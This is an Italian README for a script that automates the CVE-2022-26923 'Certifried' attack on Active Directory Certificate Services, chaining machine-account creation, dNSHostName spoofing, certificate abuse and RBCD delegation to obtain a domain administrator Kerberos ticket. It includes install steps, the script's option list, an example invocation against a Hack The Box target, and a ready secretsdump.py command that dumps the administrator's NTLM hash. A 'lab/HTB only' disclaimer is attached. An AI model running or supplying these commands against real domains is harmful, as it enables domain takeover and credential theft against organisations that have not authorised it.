CVE-2022-26923 – Exploit Certifried (Abuso AD CS)

Automazione dello sfruttamento di CVE-2022-26923 (Certifried) che consente un'elevazione dei privilegi tramite abuso di Active Directory Certificate Services (AD CS) e Resource-Based Constrained Delegation (RBCD), portando al dump dell'hash NTLM di un account amministratore di dominio.

⚠️ Solo uso didattico / Lab / HTB

Non utilizzare in ambienti non autorizzati.

🎯 Descrizione

Questo script automatizza la seguente catena di attacco:

1. Creazione di un account macchina controllato
2. Modifica del dNSHostName
3. Richiesta di un certificato tramite AD CS
4. Autenticazione tramite certificato
5. Abuso RBCD
6. S4U2Self + S4U2Proxy
7. Ottenimento di un ticket Kerberos per administrator
8. Dump NTLM tramite secretsdump.py

🔗 Vulnerabilità

• CVE-2022-26923 – "Certifried"
• Colpisce gli ambienti Active Directory che utilizzano AD CS
• Consente l'usurpazione di identità di un Domain Controller tramite un certificato emesso in modo non corretto

🛠 Strumenti utilizzati

• certipy-ad
• bloodyAD
• getST.py (Impacket)
• secretsdump.py (Impacket)
• openssl

📦 Installazione delle dipendenze

pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 Utilizzo

chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

Opzioni disponibili

-d, --dc-ip          IP del Domain Controller
-D, --domain         Nome del dominio
-u, --user           Utente valido
-p, --pass           Password utente
-c, --comp-name      Nome macchina controllata
-C, --comp-pass      Password macchina
-a, --ca-name        Nome della Certificate Authority
-t, --template       Template certificato
-f, --pfx-file       Nome file PFX
-H, --dc-hostname    Hostname del DC
-A, --dc-account     Account DC
-i, --impersonate    Account target da impersonare
--verbose            Modalità debug
-h, --help           Aiuto

🧠 Esempio (HTB Certified)

./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose

🔥 Risultato atteso

Al termine dell'esecuzione:

• Un ticket Kerberos administrator.ccache
• Il dump NTLM dell'account administrator

In caso di problemi Kerberos:

KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/[email protected] \
-k -no-pass -dc-ip 10.129.1.39

🧬 Funzionamento interno

Machine Account Creation
        ↓
dNSHostName spoofing
        ↓
Certificate Request (Machine Template)
        ↓
Authentication via PFX
        ↓
RBCD abuse (bloodyAD)
        ↓
S4U2Self + S4U2Proxy
        ↓
Kerberos Ticket extraction
        ↓
NTLM dump via secretsdump

⚠️ Disclaimer

Questo progetto è fornito a scopo:

• didattico
• di ricerca sulla sicurezza
• di laboratorio personale
• di CTF / HTB

L'autore declina ogni responsabilità in caso di uso non autorizzato.

📜 Licenza

MIT